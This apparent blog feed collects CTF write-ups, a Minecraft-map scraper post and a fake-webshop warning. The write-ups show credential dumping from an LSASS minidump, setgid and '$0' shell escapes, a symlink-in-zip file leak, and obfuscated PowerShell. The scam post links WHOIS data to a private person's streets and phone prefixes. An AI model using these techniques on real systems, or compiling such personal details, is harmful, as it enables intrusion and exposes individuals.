Flag: flag{14e072f705d45882401d141c562fdc0b}

Discount Programming Devices

I used a tool on the internet to obfuscate my script! But I lost it, and I don’t know how to get it back. Maybe you can help?

Attachments: oops.py

For this challange I found a Stackoverflow page that had a simple “monkey-patching” technique. Here. Since the post was asked the day I found it, I think it was for the Huntress CTF.

Here is the solution: oops-solve.py

Flag: flag{2543ff1e714bC2eb9ff78128232785ad}

Mimi

Uh oh! Mimi forgot her password for her Windows laptop!

Luckily, she dumped one of the crucial processes running on her computer (don’t ask me why, okay)… can you help her recover her password?

NOTE: Archive password is mimi

Attachments: mimi.7z

For this challange I started by running file mimi. Great! This is a Mini DuMP crash report. Using pypykatz we can now run: pypykatz lsa minidump mimi | grep "flag{", this returns:

NFO:pypykatz:Parsing file mimi
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}

If we did not grep, we could find the flag/password under a LoginSession like this:

== LogonSession ==
authentication_id 709744 (ad470)
session_id 1
username mimi
domainname windows11
logon_server WINDOWS11
logon_time 2024-09-10T02:32:50.802254+00:00
sid S-1-5-21-940291183-874774319-2012240919-1002
luid 709744
	== MSV ==
		Username: mimi
		Domain: windows11
		LM: NA
		NT: 5e088b316cc30d7b2d0158cb4bd9497c
		SHA1: c1bd67cf651fdbcf27fd155f488721f52fff64fa
		DPAPI: c1bd67cf651fdbcf27fd155f488721f52fff64fa
	== WDIGEST [ad470]==
		username mimi
		domainname windows11
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password (hex)66006c00610067007b00370061003500360035006100380036003700360031006100320062003800390035003200340062006600370062006200300064003100390062006300650061007d0000000000

Flag: flag{7a565a86761a2b89524bf7bb0d19bcea}

Mystery

Someone sent this to me… such enigma, such mystery:

rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy

Settings as below:

  • 3 Rotor Model
  • Rotor 1: VI, Initial: A, Ring A
  • Rotor 2: I, Initial: Q, Ring A
  • Rotor 3: III, Initial L, Ring A
  • Reflector: UKW B
  • Plugboard: BQ CR DI EJ KW MT OS PX UZ GH

I quickly spottet that this was enigma machine code and using py-enigma we can write a simple python script to decode the ciphertext.

from enigma.machine import EnigmaMachine

# Define the Enigma settings
machine = EnigmaMachine.from_key_sheet(
    rotors='VI I III',
    reflector='B',
    ring_settings='01 01 01',  # Ring A means 01
    plugboard_settings='BQ CR DI EJ KW MT OS PX UZ GH'
)
# Set rotor positions
machine.set_display('AQL')  # Rotor 1: A, Rotor 2: Q, Rotor 3: L

ciphertext = "rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy"
plaintext = machine.process_text(ciphertext.replace(' ', '').upper())
print(plaintext.lower())

This leaves us with: messagewrappedinlighthiddendeeperoutofsightlockingitmoretightanywayyourflagishereflagfdfeabcacbebfbadaefbeccaadddbafezzz

Adding some spaces and we get: message wrapped in light hidden deeper out of sight locking it more tight anyway your flag is here flagfdfeabcacbebfbadaefbeccaadddbafezzz

Flag: flag{fdfeabcacbebfbadaefbeccaadddbafe}

Ran Somewhere

Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?

NOTE, this challenge uses a non-standard flag format. Enter the human-readable name of the location.

Attachments: ran_somewhere.eml

Opening the email, we can extract 2 images from base64:

Image 1

and

Image 2

Now using https://geospy.web.app/ we can narrow down the location of the image, and using Google Lens I found this image:

This maches the second image

This has the flag in it

Flag: flag{Bel Air Armory}

I Can’t SSH

I’ve got this private key… but why can’t I SSH?

Attachments: id_rsa

So I belive that there is some sort of invalid characters in the private key, making it corupted.

I solved this challenge using nano id_rsa and appending some random text at the end of the file. Then using nano I removed the same random text from the end of the file. Now change the permissions of the file to 600 using chmod 600 id_rsa.

Now using ssh -p xxxxx -i id_rsa user@challenge.ctf.games I can ssh into the server.

user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ cat flag.txt 
flag{ee1f28722ec1ce1542aa1b486dbb1361}user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ logout
Connection to challenge.ctf.games closed.

Finders Fee

You gotta make sure the people who find stuff for you are rewarded well!

Using find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null we can find all files with setuid and setgid permissions. One of them is /usr/bin/find with the following permissions:

-rwxr-sr-x 1 root finder 204264 Apr  8  2024 /usr/bin/find

Now using /usr/bin/find /home/finder -exec ls -al {} \;, we can do this because we inherit the group permissions of the file’s group owner, which is finder.

user@finders-fee-7e29946e5d28904e-85d9694cbd-zhfrw:/home$ /usr/bin/find /home/finder -exec ls -al {} \;
total 28
drwxr-x--- 1 finder finder 4096 Oct  7 18:52 .
drwxr-xr-x 1 root   root   4096 Oct  7 18:52 ..
-rw-r--r-- 1 finder finder  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 finder finder  807 Mar 31  2024 .profile
-rw-r----- 1 finder finder   39 Oct  7 18:52 flag.txt
-rw-r--r-- 1 finder finder 807 Mar 31  2024 /home/finder/.profile
-rw-r--r-- 1 finder finder 220 Mar 31  2024 /home/finder/.bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31  2024 /home/finder/.bashrc
-rw-r----- 1 finder finder 39 Oct  7 18:52 /home/finder/flag.txt

Now with the same command we can cat the /home/finder/flag.txt file. /usr/bin/find /home/finder -exec cat /home/finder/flag.txt \; will give us the flag.

Flag: flag{5da1de289823cfc200adf91d6536d914}

Zulu

Did you know that zulu is part of the phonetic alphabet?

Attachments: zulu

I solved this challange by opening the zulu file with my archiving tool Ark.

Zulu Ark 1 Zulu Ark 2 Zulu Ark 3

Flag: flag{74235a9216ee609538022e6689b4de5c}

Linux Basics

Welcome to Linux Basics!

You’re expected to answer a series of questions to get the flag. To view the questions, and answer them, you’ll use the answer tool. Display questions: answer Answer a question: answer x where x is question number.

Questions:

  • What’s your home directory? pwd: /home/user
  • Search the man pages. What command would you use to generate random permutations? You can use the shuf command to generate random permutations in Linux.
  • On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31 ls -al: Aug 29 1997 - 1997-08-29
  • How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number. 22200 bytes, 22200/1000 = 22.2, nearest whole number is 22.
  • What user owns the file /home/user/myfile.txt root
  • What’s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777) Inputing -rwxr-xr-- into https://chmod-calculator.com/ we get 754
  • What is the user id of ‘admin’? Using id we can get groups=1338(admin)
  • There is a user ‘john’ on the system. Can they write to /home/user/myfile.txt? (yes/no) No, because only the owner can write
  • Can the ‘admin’ user execute /home/user/myfile.txt? (yes/no) Yes, because Group is admin and the permissions for Group is Read and Execute.
  • Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt? Looking in /etc/group we can see admin:x:1338:user,john,rose therefore rose is the answer.
  • /home/user/myfile.txt looks like a txt file, but it actually isn’t. What kind of file is it? Running file myfile.txt we get: myfile.txt: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 807x114, components 3 therefore the answer is jpeg.

Flag: flag{8873fe66f8e7a6019d7d71261864f6c5}

Keyboard Junkie

My friend wouldn’t shut up about his new keyboard, so…

Attachments: keyboard_junkie

Using Nissens USB-HID-decoders we can parse our keyboard_junkie file using ./extract_hid_data.sh keyboard_junkie we get usbdata-1.9.1.txt now using python3 keyboard_decode.py usbdata-1.9.1.txt we get: so the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lol <Ctrl+c>.

Flag: flag{f7733e0093b7d281dd0a30fcf34a9634}

Obfuscation Station

You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?

Archive password: infected-station

Attachments: Challenge.zip

After exxtracting we get a chal.ps1 file containing:

(nEW-objECt  SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt  sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')

By simply removing: | & ( $eNV:cOmSPEc[4,15,25]-JOin'') from the end and running this in a powershell terminal we get the flag: $5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}".

Flag: flag{3ed675ef0343149723749c34fa910ae4}

Strive Marish Leadman TypeCDR

Looks like primo hex garbage. Maybe something went wrong? Can you make sense of it?

Connecting to the remote we get a response of:

p: 0xfb16f781d0c262632842e0fc0f0ae25d7d0cf7e993c1ec39029c624c11e916762d37cbb84b6a10a64524b8f3164b9349db50720f0e4fc09968a455b69a66ec97
q: 0xf1b09e62d8fd1c844b1500d8ca3b4c5fcd37ad7eb26353db39fdc0deae15d299a4bfb88e8ff1503caa4061f3d74592cd300018f77c2d8ce88bbd97554d8b3e83
d: 0x1225a25272ed70c976c2783d28a35ec56bf210672c2f0a47da71cdc424eed45b8b324e01a1495373d75feb3b9c6ef4a0e574441f874255547bc6f698961e1c388d07633d67645fbc4880a2a344885d2d20ea54eb461561e001869ce2ed63c885247fc56d2cdedd0232e3bd0f0c2c1f0962c1c0a107585d40ec54f4f65b18164d
e: 0x10001
n: 0xed0dda247f27054d4832f9b46c68449ebaa0f4950700618197e36f97a2abd2327e557ad1464ff1f9eb4560435684d33e005d8fa10f25d73870d7a8361fe0476056327ff0f1125e892a6c1886e3900dda3a10b153d0006834a8b533d4462e42267a18459d0e488b23bbcdcf10d52247629a9aa73b6732fcd971a58004d0f4a345

0x6308e74fbbcfad20bc62e9a502d4c2986d132cc74e911e2d6e04c9fd90de9125bb333e1be3878e2be47e86f8fb381c2e494b60cf9841f37c04ae7955170881b748741d82682ed07808ff162b58b469a24d93bcb22df92996b685cee463148023680795375964b96b16695ce6122244b9b8c8624f40528a14ffce883960c6a9f0

Using some python we can decrypt this RSA.

from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes

p = 0xfe0540cdff634da414bc0743ead8bd66a0bb4c2f398b32d3326ca9a60768c7a1d51ecf419c11ebb095d9056bdd77f3bc3c00bb004410d00e2035f562ab6cfb71
q = 0xcfd8c6fb981ee3134ae3b1d14aeb26cb818cb2e9533499d765920f0d078e70be65ec006a61dd488c8c8b455b9968e2f3eb260f6605d37f8a373f755fe39fe6c3
d = 0x61287198862f1f52083e6bf61624592ef404d2ff787cb50a88a58744997d69a029130c6ba1c742224f92df1b396bf8cb6b61fef9331cf1bffc03fb2cf2362f4da4e8ca2a8e433a71708f153347b5b70a34be5f3f709261b1fb0f3293b640a90be75eaf3439045be19e455f492ed02b717114a49d4eb3086071c259d4bb43cac1
e = 0x10001
n = 0xce3d5946f588697b189060c0a6d9bc774fd90dc00cb4578e04cf4b1fdcfe04ebf90fc00aff1ca397cda108207117d0d4d5a40c196c5ba5d3921e026dcb63cbb37f9cfb6d6414cb69bcdc62302a7267f7ca8f23c6f0d450c61871b9ab38a8e82ebfb2e3dc8ce3a71cdd3267b8d6a8ce13f93b803cd2f961847e059fc0dc1a0d13

ciphertext = 0xa7583523c7577d0696bf053f0fa6f8c2cef9e0d6b8ac7c6a079f112276e2c609e15790366a654ea231ae057e48774458607a240cddaf2b017990ac6fe2af6376c7282875b89ad6944f69285ba6d5fb9e3056768a576e1b930ce5c793aa8d8d13e14d015a977f38fa75b6c354810f03abbff265f9899cd48ff4fb7b7dd061da59

key = RSA.construct((n, e, d, p, q))
print(long_to_bytes(pow(ciphertext, d, n)).decode())

Flag: flag{cf614b15ac1dd461a2e48afdfe21b8e8}

]]>CyberSpace'24 : Writeupshttps://ha1fdan.xyz/en/posts/cyberspace-24/Sat, 31 Aug 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/cyberspace-24/<h1 id="cyberspace-ctf-2024">CyberSpace CTF 2024</h1> <p><strong>Team:</strong> <a href="https://2024.csc.tf/teams/879">WhatIsThis</a></p> <p><strong>Total Score:</strong> 351 points @ 262nd place</p> <table> <thead> <tr> <th>User Name</th> <th>Score</th> </tr> </thead> <tbody> <tr> <td>H4N5</td> <td>251</td> </tr> <tr> <td>ha1fdan</td> <td>100</td> </tr> </tbody> </table> <h2 id="solves">Solves:</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> <th>Value</th> <th>User</th> </tr> </thead> <tbody> <tr> <td><a href="#sanity-check">Sanity Check</a></td> <td>misc</td> <td>50</td> <td>H4N5</td> </tr> <tr> <td>key</td> <td>beginner</td> <td>50</td> <td>H4N5</td> </tr> <tr> <td><a href="#baby-pybash">Baby Pybash</a></td> <td>beginner</td> <td>50</td> <td>H4N5</td> </tr> <tr> <td><a href="#zipzone">ZipZone</a></td> <td>beginner</td> <td>50</td> <td>ha1fdan</td> </tr> <tr> <td><a href="#encryptor">encryptor</a></td> <td>beginner</td> <td>50</td> <td>ha1fdan</td> </tr> <tr> <td><a href="#--">🅰️ 🦵 🌱</a></td> <td>sponsor</td> <td>50</td> <td>H4N5</td> </tr> <tr> <td>Feedback</td> <td>misc</td> <td>1</td> <td>H4N5</td> </tr> <tr> <td><a href="#flagprinter">flagprinter</a></td> <td>crypto</td> <td>50</td> <td>H4N5</td> </tr> </tbody> </table> <h2 id="score-over-time">Score over time:</h2> <p><img src="https://ha1fdan.xyz/cyberspace24/Score_over_Time.png" alt="Score_over_Time.png"></p> <hr> <h3 id="sanity-check">Sanity Check</h3> <p>Join our Discord!</p> <p><a href="https://discord.csc.tf/">https://discord.csc.tf/</a></p> <p><img src="https://ha1fdan.xyz/cyberspace24/discord.png" alt="CyberSpace 2024 Discord"></p>CyberSpace CTF 2024

Team: WhatIsThis

Total Score: 351 points @ 262nd place

User Name Score
H4N5 251
ha1fdan 100

Solves:

Challenge Category Value User
Sanity Check misc 50 H4N5
key beginner 50 H4N5
Baby Pybash beginner 50 H4N5
ZipZone beginner 50 ha1fdan
encryptor beginner 50 ha1fdan
🅰️ 🦵 🌱 sponsor 50 H4N5
Feedback misc 1 H4N5
flagprinter crypto 50 H4N5

Score over time:

Score_over_Time.png

Sanity Check

Join our Discord!

https://discord.csc.tf/

CyberSpace 2024 Discord

Flag: CSCTF{54n17y_5ucc355fully_ch3ck3d!}

key

GDB is cool! Ghidra or IDA is helpful

File(s): key

Solution: Using https://dogbolt.org we can open the key file using angr. We find the variables v3 to v34 wich all contains a decimal number. We can use this information to write a script to find the key.

  • Original Solution code (C#):
using System;

class Program
{
    static void Main()
    {
        int[] v6 = new int[]
        {
            67, 164, 65, 174, 66, 252, 115, 176,
            111, 114, 94, 168, 101, 242, 81, 206,
            32, 188, 96, 164, 109, 70, 33, 64,
            32, 90, 44, 82, 45, 94, 45, 196
        };

        char[] s = new char[32];

        for (int i = 0; i < 32; i++)
        {
            if (i % 2 == 0)
            {
                s[i] = (char)(v6[i] ^ i);
            }
            else
            {
                s[i] = (char)((v6[i] / 2) ^ i);
            }
        }

        string key = new string(s);
        Console.WriteLine("The correct key is: " + key);
    }
}
  • Solution code rewritten in Python:
v6 = [
    67, 164, 65, 174, 66, 252, 115, 176,
    111, 114, 94, 168, 101, 242, 81, 206,
    32, 188, 96, 164, 109, 70, 33, 64,
    32, 90, 44, 82, 45, 94, 45, 196
]
s = [''] * 32

for i in range(32):
    if i % 2 == 0:
        s[i] = chr(v6[i] ^ i)
    else:
        s[i] = chr((v6[i] // 2) ^ i)

key = ''.join(s)
print(key)

Flag: CSCTF{u_g0T_it_h0OrAy6778462123}

Baby Pybash

I made a very secure bash terminal in Python. I don’t think anyone can break in!

nc baby-pybash.challs.csc.tf 1337

File(s): handout_baby_pybash.zip

Solution: The script uses a regular expression to block most characters, but it allows $ and 0. By combining these, we get $0, which refers to the first argument of the initial command (bash). This allows us to invoke a bash shell and execute cat flag.txt to retrieve the flag.

== proof-of-work: disabled ==
Welcome to Baby PyBash!

Enter a bash command: $0
cat flag.txt
CSCTF{b4sH_w1z4rd_0r_ju$t_ch33s3_m4st3r?_c1d4eeb2a}

Flag: CSCTF{b4sH_w1z4rd_0r_ju$t_ch33s3_m4st3r?_c1d4eeb2a}

ZipZone

I was tired of trying to find a good file server for zip files, so I made my own! It’s still a work in progress, but I think it’s pretty good so far.

https://zipzone-web.challs.csc.tf/

File(s): handout_zipzone.zip

Solution: The app.py uses subprocess.call to unzip our uploaded zip file, therefore we can create a symlink to /tmp/flag.txt using ln -s /tmp/flag.txt flag.txt and zip the symlink using zip --symlinks exploit.zip flag.txt. After uploading the zip file, we get: https://zipzone-web.challs.csc.tf/files/a58a980e-aeb8-4c33-888d-328280bb463f; append /flag.txt to the url and we get the content of /tmp/flag.txt.

Flag: CSCTF{5yml1nk5_4r3_w31rd}

encryptor

My friend sent me this app with an encoded flag, but he forgot to implement the decryption algorithm! Can you help me out?

File(s): encryptor.apk

Solution: Opening the file with Archive Manager we find /assets/enc.txt which contains encrypted flag OIkZTMehxXAvICdQSusoDP6Hn56nDiwfGxt7w/Oia4oxWJE3NVByYnOMbqTuhXKcgg50DmVpudg=. By using https://www.decompiler.com we can decompile the apk and under souces/com/example/encrypter/MainActivity.java. this class contains the encryption algorithm.

We can see a base64 string being decoded:

private String getKey() {
  return new String(Base64.decode("ZW5jcnlwdG9yZW5jcnlwdG9y".getBytes(), 0));
}

Decoding the base64 string gives us the key encryptorencryptor.

We can also find the encryption function:

private String encryptText(String str) throws InvalidKeyException, UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException {
        SecretKeySpec secretKeySpec = new SecretKeySpec(getKey().getBytes("UTF-8"), "Blowfish");
        Cipher instance = Cipher.getInstance("Blowfish");
        if (instance != null) {
            instance.init(1, secretKeySpec);
            return Build.VERSION.SDK_INT >= 26 ? new String(Base64.encode(instance.doFinal(str.getBytes("UTF-8")), 0)) : "";
        }
        throw new Error();
    }

The encryption happends using Blowfish, we can write a simple script to decrypt our flag:

import base64
from Crypto.Cipher import Blowfish

def get_key():
    encoded_key = "ZW5jcnlwdG9yZW5jcnlwdG9y"
    return base64.b64decode(encoded_key)

encrypted_text = "OIkZTMehxXAvICdQSusoDP6Hn56nDiwfGxt7w/Oia4oxWJE3NVByYnOMbqTuhXKcgg50DmVpudg="
cipher = Blowfish.new(get_key(), Blowfish.MODE_ECB)
encrypted_bytes = base64.b64decode(encrypted_text)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
padding_length = decrypted_bytes[-1]
decrypted_text = decrypted_bytes[:-padding_length].decode('utf-8')
print(decrypted_text)

Flag: CSCTF{3ncrypt0r_15nt_s4Fe_w1th_4n_h4Rdc0d3D_k3y!}

🅰️ 🦵 🌱

There’s a bug bounty program on Intigriti I wanted to revisit. The problem is I only speak emojis these days and completely forgot the name of the program! Can you remind me?

Emojis: 🅰️ 🦵 🌱

https://go.intigriti.com/programs/

Note: Flag format is CSCTF{name_of_program}

Solution: The emojis (🅰️ 🦵 🌱) can be broken down as follows: the first emoji represents the letter A, the second one is a leg, and the last one could stand for plant, seed, or grow. Putting these together, we can search the Programs page and find the word Allegro: A + leg + grow.

Flag: CSCTF{Allegro}

flagprinter

Instead of a challenge, here’s a solution. Hope you have plenty of RAM!

File(s): chall.py, out.py

Solution: The original code attempted to build a massive sequence, which caused it to run out of memory. The optimized solution bypasses this issue by using a recursive function to calculate only the specific values needed at each step, rather than storing the entire sequence. This reduces memory usage significantly. By calculating values as they are needed, the program avoids crashing and successfully decrypts the flag. This approach allows us to handle much larger data without running into memory limitations, making the decryption process both efficient and effective.

from out import enc, R
from math import prod

def get_a_value(index, depth):
    if depth == 0:
        return 0
    elif index < 3**(depth-1):  # First third
        return get_a_value(index, depth-1)
    elif index < 2*3**(depth-1):  # Second third
        return get_a_value(index - 3**(depth-1), depth-1) + 1
    else:  # Third third
        return get_a_value(index - 2*3**(depth-1), depth-1) + 2

def calculate_required_a_values(R_indices, depth):
    return [get_a_value(idx, depth) for idx in R_indices]

flag = ''
depth = 0

# Estimate the required depth of recursion based on the number of iterations
while 3**depth < max(max(R) for R in R) + 1:
    depth += 1

print(depth)

for i in range(355):
    if i % 5 == 0:
        required_values = calculate_required_a_values(R[i//5], depth)
        flag += chr(enc[i//5] ^ prod(required_values))
        print(flag)

Solution file: sol.py

Flag: CSCTF{2441d2f22fa1d5b9fc0a850dcfbbccf608cafbc22a1beaae0ac328ff6d218781}

]]>Danmark I Minecrafthttps://ha1fdan.xyz/en/posts/danmark-i-minecraft/Sun, 04 Aug 2024 18:47:44 +0200https://ha1fdan.xyz/en/posts/danmark-i-minecraft/<h2 id="danmark-i-minecraft">Danmark I Minecraft</h2> <p>I 2014 blev Danmark genskabt i Minecraft ved hjælp af 4 billioner virtuelle byggeklodser. Dette projekt brugte data fra GeoDanmark, Dagi, Danmarks Adresser og Danmarks Højdemodel. Modellen inkluderer alle landets veje, bygninger, jernbanespor lygtepæle og selv hegn. Den blev oprindeligt lavet for at vise potentialet i de store mængder frit tilgængelige data og kunne bruges i skolesammenhæng. Du kan læse hele pressemeddelelsen her: <a href="https://mcdk.ha1fdan.xyz/2014_pressemeddelelse_DK_i_MC.pdf">2014_pressemeddelelse_DK_i_MC.pdf</a>.</p> <hr> <h3 id="2024">2024</h3> <p>Her i sommer 2024, faldt jeg over <a href="https://loar.kb.dk/handle/1902/8118">Det Kongelige Bibliotek</a> og fandt det interessant da jeg har selv haft Odense hentet i 2014 da &ldquo;Danmark i Minecraft&rdquo; udkom.</p>Danmark I Minecraft

I 2014 blev Danmark genskabt i Minecraft ved hjælp af 4 billioner virtuelle byggeklodser. Dette projekt brugte data fra GeoDanmark, Dagi, Danmarks Adresser og Danmarks Højdemodel. Modellen inkluderer alle landets veje, bygninger, jernbanespor lygtepæle og selv hegn. Den blev oprindeligt lavet for at vise potentialet i de store mængder frit tilgængelige data og kunne bruges i skolesammenhæng. Du kan læse hele pressemeddelelsen her: 2014_pressemeddelelse_DK_i_MC.pdf.

2024

Her i sommer 2024, faldt jeg over Det Kongelige Bibliotek og fandt det interessant da jeg har selv haft Odense hentet i 2014 da “Danmark i Minecraft” udkom.

mcdk.ha1fdan.xyz

d. 3-4. august 2024 arbjede jeg på at lave en “lommeregner” til de minecraft kort filer man kan hente. På hjemmesiden kan man indtaste bredde- og længdegrader (som kan findes på eg. Google Maps), og få udleveret hvilke Minecraft koordinater samt hvilken zip fil man skal bruge ud fra de WGS84 koordinater man har indtastet.

Men hvordan kom jeg så langt?

Jeg startede med noget meget manuelt arbjede, som inkludere at skrabe Det Kongelige Biblioteks hjemmeside for links til download af zip filerne.

const links = document.querySelectorAll('a');
const matchingLinks = new Set();
links.forEach(link => {
    const href = link.href;
    if (href.startsWith('https://loar.kb.dk/items/')) {
        matchingLinks.add(href);
    }
});

console.log(Array.from(matchingLinks));

Efter at have samlet alle links for zip filerne, skrev jeg et python crawler program der gik alle urls gennem og gemte zip fil navnet samt direkte download link i en database:

from selenium import webdriver
driver = webdriver.Firefox()
with open('urls.txt', 'r') as f:
    urls = f.readlines()

def search(url):
    driver.get(url)
    driver.execute_script('let xhr = new XMLHttpRequest(); xhr.open("GET", "http://localhost:8080?url="+encodeURIComponent(document.querySelector("a.dont-break-out").href)+"&filename="+encodeURIComponent(document.querySelector("span.ng-star-inserted").textContent)+"", true); xhr.send(); console.log("Status: " + xhr.status);')
    print("Done: " + url)

progress=0 #add number using + if script breaks
for i in range(progress):
    urls.pop(0)
for url in urls:
    search(url)

import flask
import json

app = flask.Flask(__name__)

with open('urls.txt', 'r') as f:
    amount = f.readlines()
    print(f"urls.txt has {len(amount)} links")

data = {}
with open('db.json', 'r') as f:
    data = json.load(f)

@app.route('/')
def index():
    url = flask.request.args.get('url')
    filename = flask.request.args.get('filename')
    data[filename] = url
    with open('db.json', 'w') as f:
        json.dump(data, f, indent=4)
    print(f"Progress: {len(data)}/{len(amount)} ({len(data) / len(amount) * 100:.2f}%)")
    return "ok"


app.run(host='0.0.0.0', port=8080)

Jeg skrev matematikken om fra denne omregner til PHP. Samt lave en stor database (Opslagstabel) via dette python kode:

import json

with open('db.json', 'r') as f:
    data = json.load(f)

new = {}

with open('new_db.json', 'w') as f:
    for key, url in data.items():
        items = ""+str(key)
        items = items.strip().replace(".zip","").split("_")
        x = items[0]
        z = items[1]
        x=int(x)*512+5120
        z=int(z)*512+5120
        new.update({key:[str(x),str(z),url]})
    f.write(json.dumps(new))
]]>Pas på Falske Elgiganten Hjemmesiderhttps://ha1fdan.xyz/en/posts/elgiganten/Sun, 19 May 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/elgiganten/<p>For nylig stødte min far og jeg på flere falske Elgiganten hjemmesider via Facebook-reklamer, der tilbyder elektronik som telefoner til meget lave priser. Dette er tydeligvis en scam, hvor formålet er at trække penge fra intetanende kunder uden at levere varerne.</p> <h3 id="sådan-genkender-du-falske-hjemmesider">Sådan Genkender Du Falske Hjemmesider</h3> <ol> <li><strong>Urealistiske Tilbud:</strong> Hvis tilbuddene virker for gode til at være sande, er de det sandsynligvis også.</li> <li><strong>Ukendte Webadresser:</strong> Tjek altid webadressen grundigt. Mange falske sider bruger lignende, men ikke identiske adresser.</li> </ol> <h3 id="analyse-af-de-falske-elgiganten-sider">Analyse af de Falske Elgiganten Sider</h3> <p>Som cybersikkerhedsentusiast kunne jeg ikke lade være med at undersøge disse falske sider nærmere.</p>For nylig stødte min far og jeg på flere falske Elgiganten hjemmesider via Facebook-reklamer, der tilbyder elektronik som telefoner til meget lave priser. Dette er tydeligvis en scam, hvor formålet er at trække penge fra intetanende kunder uden at levere varerne.

Sådan Genkender Du Falske Hjemmesider

  1. Urealistiske Tilbud: Hvis tilbuddene virker for gode til at være sande, er de det sandsynligvis også.
  2. Ukendte Webadresser: Tjek altid webadressen grundigt. Mange falske sider bruger lignende, men ikke identiske adresser.

Analyse af de Falske Elgiganten Sider

Som cybersikkerhedsentusiast kunne jeg ikke lade være med at undersøge disse falske sider nærmere.

  1. elgiganten.online: Denne side var registreret hos TLD Registrar Solutions, men er nu suspenderet. Screenshot of Email from TLD Registrar Solutions
  1. elgiganten.io: Denne side var registreret hos Namecheap. Jeg fandt registrantoplysninger, der peger på en person i Odense. En søgning på telefonnummeret viste ikke yderligere detaljer. Namecheap Whois Lookup

En søgning på navnet + adressen via 118.dk viser tilknytning til samme person I Odense C. Men nu får vi en ny adresse og et nyt telefon nummer: +45 2299 ----. De 2 adresser ligger kun 2,7 km fra hinanden.

Så nu har vi 2 telefon numre:

  • Namecheap: +45 2391 ----
  • 118.dk: +45 2299 ----

Søger du via 180.dk på de 2 telefon numre får du ikke noget på det nummer fra Namecheap, men du får noget på det nummer fra 118.dk.

Og 2 adresser:

  • Namecheap: Vindegade, Odense 5000
  • 180.dk: Svanevej, Odense 5000
  1. elgiganten-dk.com: Også en falsk side, promoveret via Facebook. Jeg har ikke selv oplevet denne hjemmeside, men en anden på Facebook har også skrevet en advarsel om denne side: Facebook Post.

Hvad Kan Du Gøre?

  • Tjek Webadresser: Brug altid officielle webadresser og undgå at klikke på mistænkelige links.
  • Kontakt Bank: Hvis du er blevet snydt, kontakt din bank med det samme.
  • Rapporter: Indberet falske sider til relevante myndigheder og platforme.

Ved at være opmærksom kan vi sammen bekæmpe disse cybersvindelnumre og sikre, at færre falder i fælden. Vær altid skeptisk over for for gode tilbud og tjek altid kilden.

]]>DDC - Regionals Junior 2024 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_regionals_junior_2024/Sun, 14 Apr 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2024/<p>Jeg var så heldig at gå videre til nationals, men desvære har min lillesøster konfirmation d. 4 maj, så jeg kommer ikke med, men jeg håber at komme med næste år! Tak for nogle sjove og spændende opgaver!</p> <hr> <h2 id="syddanmark-scoreboard">Syddanmark Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/images/ddc_regionals_junior_2024_syddanmark.png" alt="ddc2024_scoreboard.png"></p> <h2 id="global-scoreboard">Global Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/images/ddc_regionals_junior_2024_all.png" alt="ddc2024_scoreboard.png"></p> <hr> <h2 id="løste-opgaver">Løste opgaver:</h2> <ul> <li>Forensics: Dictionary Attack</li> <li>Forensics: Drilske Dæknavne - Email</li> <li>Forensics: Drilske Dæknavne - Address</li> <li>Forensics: Drilske Dæknavne - Leverance-IDer</li> <li>Forensics: Drilske Dæknavne - Meeting</li> <li>Forensics: Friendly Image</li> <li>Forensics: Spin2win</li> <li>Web Exploitation: Critical Hit</li> <li>Misc: Penpals and messages</li> <li>Misc: Find the Culprit</li> <li>Beginner: The_Ransomware_Image</li> <li>Beginner: See my strings</li> <li>Reverse Engineering: ASCII_Maze</li> <li>Cryptography: Substitution in the constitution</li> <li>Boot2Root: Shadow</li> <li>Boot2Root: Cron my tab</li> </ul> <p><strong>Jeg fik løst 16/52 (31%~), hvilket gav mig 3151 points og en 3 plads i Syddanmark.</strong></p>Jeg var så heldig at gå videre til nationals, men desvære har min lillesøster konfirmation d. 4 maj, så jeg kommer ikke med, men jeg håber at komme med næste år! Tak for nogle sjove og spændende opgaver!

Syddanmark Scoreboard:

ddc2024_scoreboard.png

Global Scoreboard:

